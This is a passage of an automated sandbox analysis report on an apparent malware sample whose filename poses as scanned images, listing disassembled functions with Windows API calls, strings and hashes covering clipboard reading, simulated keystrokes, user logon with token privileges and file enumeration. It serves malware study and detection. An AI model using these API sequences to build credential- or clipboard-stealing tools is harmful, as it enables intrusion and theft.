GetLastError.KERNEL32(00000002,00000000), ref: 004C76DE

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: adee4f504084189d5a18a45201f7ec0418358afa361908444321e3ed9f8144ff
Instruction ID: b54e49926a575f786682fb7014f886729efdccee359c5284e136438fbb88e211
Opcode Fuzzy Hash: adee4f504084189d5a18a45201f7ec0418358afa361908444321e3ed9f8144ff
Instruction Fuzzy Hash: 258190342087019FC754EF29C491B6AB7E1AF48358F04495EFC865B392DB38AD49CF5A

Function 015727FC Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01572811

Memory Dump Source

Source File: 00000000.00000002.1707942713.0000000001570000.00000040.00000020.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: c4ac163cedb3b6a8af5070984620369ea41d733756b54b17982ecb108b5f9282
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: 2EE09A7494020DAFDB00EFA4E5496AE7BB4EF04311F1005A1FD0596681DA319A548A62

Function 00456246 Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00000000,004924E0), ref: 00456266

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ea493bc405342de2ba5669cb69390a17e8baa197d369a0ddc0528032ac5b77c7
Instruction ID: 11e496870182bed1ebcac11ebe8c5e83ae8d9c3446ec5ecd31d4b1940be512d2
Opcode Fuzzy Hash: ea493bc405342de2ba5669cb69390a17e8baa197d369a0ddc0528032ac5b77c7
Instruction Fuzzy Hash: 49E0B675400B01CFC3319F1AE804412FBF6FFE13623214A6FE8E596661D3B4588A8F55

Function 01572800 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01572811

Memory Dump Source

Source File: 00000000.00000002.1707942713.0000000001570000.00000040.00000020.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 61123221e4addccace2ea6983ee02afa27cfd2404fbcb2628a171785801526fd
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: EDE0E67494020DDFDB00EFB4D5496AE7FF4FF04301F100161FD01D2281D6319D508A62

Non-executed Functions

Function 004E9576 Relevance: 74.1, APIs: 39, Strings: 3, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00469BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00469BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 004E961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004E965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 004E969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004E96C9
SendMessageW.USER32 ref: 004E96F2
GetKeyState.USER32(00000011), ref: 004E978B
GetKeyState.USER32(00000009), ref: 004E9798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004E97AE
GetKeyState.USER32(00000010), ref: 004E97B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004E97E9
SendMessageW.USER32 ref: 004E9810
SendMessageW.USER32(?,00001030,?,004E7E95), ref: 004E9918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 004E992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 004E9941
SetCapture.USER32(?), ref: 004E994A
ClientToScreen.USER32(?,?), ref: 004E99AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 004E99BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 004E99D6
ReleaseCapture.USER32 ref: 004E99E1
GetCursorPos.USER32(?), ref: 004E9A19
ScreenToClient.USER32(?,?), ref: 004E9A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 004E9A80
SendMessageW.USER32 ref: 004E9AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 004E9AEB
SendMessageW.USER32 ref: 004E9B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 004E9B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 004E9B4A
GetCursorPos.USER32(?), ref: 004E9B68
ScreenToClient.USER32(?,?), ref: 004E9B75
GetParent.USER32(?), ref: 004E9B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 004E9BFA
SendMessageW.USER32 ref: 004E9C2B
ClientToScreen.USER32(?,?), ref: 004E9C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 004E9CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 004E9CDE
SendMessageW.USER32 ref: 004E9D01
ClientToScreen.USER32(?,?), ref: 004E9D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 004E9D82

Part of subcall function 00469944: GetWindowLongW.USER32(?,000000EB), ref: 00469952

GetWindowLongW.USER32(?,000000F0), ref: 004E9E05

Strings

@GUI_DRAGID, xrefs: 004E997D
p#R, xrefs: 004E9990
F, xrefs: 004E9D07

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F$p#R
API String ID: 3429851547-1852618069
Opcode ID: 3d9488a3f4dfaf2c87bd0ed0c58f60e2569490239354f7a57e17164979a33dfe
Instruction ID: 6538b8c0ee4d959630ecdef6f938506b7e74973bb2340ced3714eaecb106ac75
Opcode Fuzzy Hash: 3d9488a3f4dfaf2c87bd0ed0c58f60e2569490239354f7a57e17164979a33dfe
Instruction Fuzzy Hash: 90428D70204281AFD724CF26CC84AABBBF5FF49315F14061AFA598B2E1D735AC55CB4A

Function 004E4873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 004E48F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 004E4908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 004E4927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 004E494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 004E495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 004E497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 004E49AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 004E49D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 004E4A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 004E4A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 004E4A7E
IsMenu.USER32(?), ref: 004E4A97
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 004E4AF2
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 004E4B20
GetWindowLongW.USER32(?,000000F0), ref: 004E4B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 004E4BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 004E4C82
wsprintfW.USER32 ref: 004E4CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 004E4CC9
GetWindowTextW.USER32(?,00000000,00000001), ref: 004E4CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 004E4D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 004E4D33
GetWindowTextW.USER32(?,00000000,00000001), ref: 004E4D5A

Strings

%d/%02d/%02d, xrefs: 004E4CA8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: 6b52a4cfff7e2ddae4a88fa404c7d11271b93735a4c77d76b3b064d0d2661e8b
Instruction ID: d2aab39d6b9359b45c2c0192ea6f817cd7a890055db4f8923af366142a917a3c
Opcode Fuzzy Hash: 6b52a4cfff7e2ddae4a88fa404c7d11271b93735a4c77d76b3b064d0d2661e8b
Instruction Fuzzy Hash: BC12F171900294ABEB248F36CC89FAF7BB8EF85711F10412AF915DB2D1D7789941CB58

Function 0046F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 0046F998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004AF474
IsIconic.USER32(00000000), ref: 004AF47D
ShowWindow.USER32(00000000,00000009), ref: 004AF48A
SetForegroundWindow.USER32(00000000), ref: 004AF494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004AF4AA
GetCurrentThreadId.KERNEL32 ref: 004AF4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004AF4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 004AF4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 004AF4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 004AF4DE
SetForegroundWindow.USER32(00000000), ref: 004AF4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 004AF4F6
keybd_event.USER32(00000012,00000000), ref: 004AF501
MapVirtualKeyW.USER32(00000012,00000000), ref: 004AF50B
keybd_event.USER32(00000012,00000000), ref: 004AF510
MapVirtualKeyW.USER32(00000012,00000000), ref: 004AF519
keybd_event.USER32(00000012,00000000), ref: 004AF51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 004AF528
keybd_event.USER32(00000012,00000000), ref: 004AF52D
SetForegroundWindow.USER32(00000000), ref: 004AF530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 004AF557

Strings

Shell_TrayWnd, xrefs: 004AF46F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: a19bf409e1061dac75d92f49d337adf17e5d91df4d94d51bc02860ec355c0458
Instruction ID: 2d6782e2a977b79f100172cc7694a7294bb5cc5dff254114117685ae812fd992
Opcode Fuzzy Hash: a19bf409e1061dac75d92f49d337adf17e5d91df4d94d51bc02860ec355c0458
Instruction Fuzzy Hash: 47315371A40258BFEB206BF55C89FBF7E6DEB45B50F100036FA00EA1D2C6B45D01AA69

Function 004B1201 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 004B16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 004B170D
Part of subcall function 004B16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 004B173A
Part of subcall function 004B16C3: GetLastError.KERNEL32 ref: 004B174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 004B1286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 004B12A8
CloseHandle.KERNEL32(?), ref: 004B12B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004B12D1
GetProcessWindowStation.USER32 ref: 004B12EA
SetProcessWindowStation.USER32(00000000), ref: 004B12F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004B1310

Part of subcall function 004B10BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,004B11FC), ref: 004B10D4
Part of subcall function 004B10BF: CloseHandle.KERNEL32(?,?,004B11FC), ref: 004B10E9

Strings

default, xrefs: 004B130B
, xrefs: 004B125A
ZQ, xrefs: 004B1392
winsta0, xrefs: 004B12CC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0$ZQ
API String ID: 22674027-4020664062
Opcode ID: 43c8438cab20dc8d7304284673218b3cba4724e0f5347c05abbb01c8dac50bbe
Instruction ID: 80187f8af2834ab8bfdff2b17d24ae08020c9ca974ba784fa4a042a3121954f1
Opcode Fuzzy Hash: 43c8438cab20dc8d7304284673218b3cba4724e0f5347c05abbb01c8dac50bbe
Instruction Fuzzy Hash: 0481A071900249AFDF209FA8DC99FEF7BB9EF04704F14412AF910A62A1D7398945CB29

Function 004B0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004B10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 004B1114
Part of subcall function 004B10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,004B0B9B,?,?,?), ref: 004B1120
Part of subcall function 004B10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,004B0B9B,?,?,?), ref: 004B112F
Part of subcall function 004B10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,004B0B9B,?,?,?), ref: 004B1136
Part of subcall function 004B10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 004B114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 004B0BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 004B0C00
GetLengthSid.ADVAPI32(?), ref: 004B0C17
GetAce.ADVAPI32(?,00000000,?), ref: 004B0C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 004B0C6D
GetLengthSid.ADVAPI32(?), ref: 004B0C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 004B0C8C
HeapAlloc.KERNEL32(00000000), ref: 004B0C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 004B0CB4
CopySid.ADVAPI32(00000000), ref: 004B0CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 004B0CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 004B0D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 004B0D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004B0D45
HeapFree.KERNEL32(00000000), ref: 004B0D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004B0D55
HeapFree.KERNEL32(00000000), ref: 004B0D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004B0D65
HeapFree.KERNEL32(00000000), ref: 004B0D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 004B0D78
HeapFree.KERNEL32(00000000), ref: 004B0D7F

Part of subcall function 004B1193: GetProcessHeap.KERNEL32(00000008,004B0BB1,?,00000000,?,004B0BB1,?), ref: 004B11A1
Part of subcall function 004B1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,004B0BB1,?), ref: 004B11A8
Part of subcall function 004B1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,004B0BB1,?), ref: 004B11B7

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 8051f232667d2b1c636ba609bf5125dc004926a9468042665580faad421abac5
Instruction ID: 84c0d3e561b2faf048b98a153b64ff1e2ae3372fd14ba70e1a0b2b96bff2002a
Opcode Fuzzy Hash: 8051f232667d2b1c636ba609bf5125dc004926a9468042665580faad421abac5
Instruction Fuzzy Hash: 66715E7190020AABDF10DFE4DC84BEFBBBCBF05301F044526E915AA291D779AA06CB74

Function 004CEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(004ECC08), ref: 004CEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 004CEB37
GetClipboardData.USER32(0000000D), ref: 004CEB43
CloseClipboard.USER32 ref: 004CEB4F
GlobalLock.KERNEL32(00000000), ref: 004CEB87
CloseClipboard.USER32 ref: 004CEB91
GlobalUnlock.KERNEL32(00000000), ref: 004CEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 004CEBC9
GetClipboardData.USER32(00000001), ref: 004CEBD1
GlobalLock.KERNEL32(00000000), ref: 004CEBE2
GlobalUnlock.KERNEL32(00000000), ref: 004CEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 004CEC38
GetClipboardData.USER32(0000000F), ref: 004CEC44
GlobalLock.KERNEL32(00000000), ref: 004CEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 004CEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 004CEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 004CECD2
GlobalUnlock.KERNEL32(00000000), ref: 004CECF3
CountClipboardFormats.USER32 ref: 004CED14
CloseClipboard.USER32 ref: 004CED59

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 6ccc6664e9cc555a3de724c3eaac5b2c5c1b7802a52325c7f06ba5e22825c892
Instruction ID: 4387b5da88312b5bc649576bb63ed40e9cff92d0fa32ab8da935c6df2dbf6b74
Opcode Fuzzy Hash: 6ccc6664e9cc555a3de724c3eaac5b2c5c1b7802a52325c7f06ba5e22825c892
Instruction Fuzzy Hash: F861C4381043419FD310EF26C8C5F3A77A4AF84714F14456EF9568B2A2DB39ED0ACB6A

Function 004C698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 004C69BE
FindClose.KERNEL32(00000000), ref: 004C6A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 004C6A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 004C6A75

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 004C6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 004C6ADF

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 004C6B6A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 004C6B32
%03d, xrefs: 004C6DA2
%4d, xrefs: 004C6BB1
%02d, xrefs: 004C6C00, 004C6C0A, 004C6C5A, 004C6CAA, 004C6CFA, 004C6D4A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 54c95e31f828f37ce52f3c51f47112846ecb92f70a4ce19f120f3404ee0a4a2c
Instruction ID: 27f761ee1ba1b5a94de91e4efc8cf90f5fdf66fa3f25dc4024fc98497436eade
Opcode Fuzzy Hash: 54c95e31f828f37ce52f3c51f47112846ecb92f70a4ce19f120f3404ee0a4a2c
Instruction Fuzzy Hash: B7D177725083409FC310EBA5D881EAFB7ECAF88705F44491EF985C7192EB79DA48C766

Function 004C9642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 004C9663
GetFileAttributesW.KERNEL32(?), ref: 004C96A1
SetFileAttributesW.KERNEL32(?,?), ref: 004C96BB
FindNextFileW.KERNEL32(00000000,?), ref: 004C96D3
FindClose.KERNEL32(00000000), ref: 004C96DE
FindFirstFileW.KERNEL32(*.*,?), ref: 004C96FA
SetCurrentDirectoryW.KERNEL32(?), ref: 004C974A
SetCurrentDirectoryW.KERNEL32(00516B7C), ref: 004C9768
FindNextFileW.KERNEL32(00000000,00000010), ref: 004C9772
FindClose.KERNEL32(00000000), ref: 004C977F
FindClose.KERNEL32(00000000), ref: 004C978F

Strings

*.*, xrefs: 004C96F5

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 2da0c42a2aa24b5aeb801155dcaf83df27203e075a3a98be7b2d31bd36c6f14b
Instruction ID: b0c6c012d73af37984bd83260711e276165f766bd91c498298abc9f667b3d525
Opcode Fuzzy Hash: 2da0c42a2aa24b5aeb801155dcaf83df27203e075a3a98be7b2d31bd36c6f14b
Instruction Fuzzy Hash: 5631D236642249BADB10AFB5DC8DFDF37ACAF09320F1040AAE914E6191DB78DD418A1C

Function 004C979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 004C97BE
FindNextFileW.KERNEL32(00000000,?), ref: 004C9819
FindClose.KERNEL32(00000000), ref: 004C9824
FindFirstFileW.KERNEL32(*.*,?), ref: 004C9840
SetCurrentDirectoryW.KERNEL32(?), ref: 004C9890
SetCurrentDirectoryW.KERNEL32(00516B7C), ref: 004C98AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 004C98B8
FindClose.KERNEL32(00000000), ref: 004C98C5
FindClose.KERNEL32(00000000), ref: 004C98D5

Part of subcall function 004BDAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 004BDB00

Strings

*.*, xrefs: 004C983B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
